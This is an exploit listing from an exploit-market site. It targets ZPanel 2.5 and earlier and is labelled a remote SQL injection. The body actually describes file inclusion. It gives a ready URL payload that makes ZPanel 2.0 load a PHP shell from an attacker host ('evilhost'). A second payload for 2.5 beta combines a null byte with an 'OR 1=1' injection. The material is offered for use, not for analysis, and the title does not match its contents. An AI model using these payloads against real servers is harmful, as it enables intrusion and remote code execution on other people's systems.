[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

ZPanel <= 2.5 Remote SQL Injection Exploit

Author
Mikhail
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-85
Category
web applications
Date add
15-03-2005
Platform
unsorted
==========================================
ZPanel <= 2.5 Remote SQL Injection Exploit
==========================================




# Tested and working /str0ke

It is possible to include arbitrary file:
local - in version ZPanel <= 2.5 beta 10,
remote - in ZPanel 2.0.

[exploit for v 2.0]
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell
where http://evilhost/shell.php - evil php code script

[exploit for v 2.5 beta]
http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00'%20OR%20'1'='1




#  0day.today [2024-11-15]  #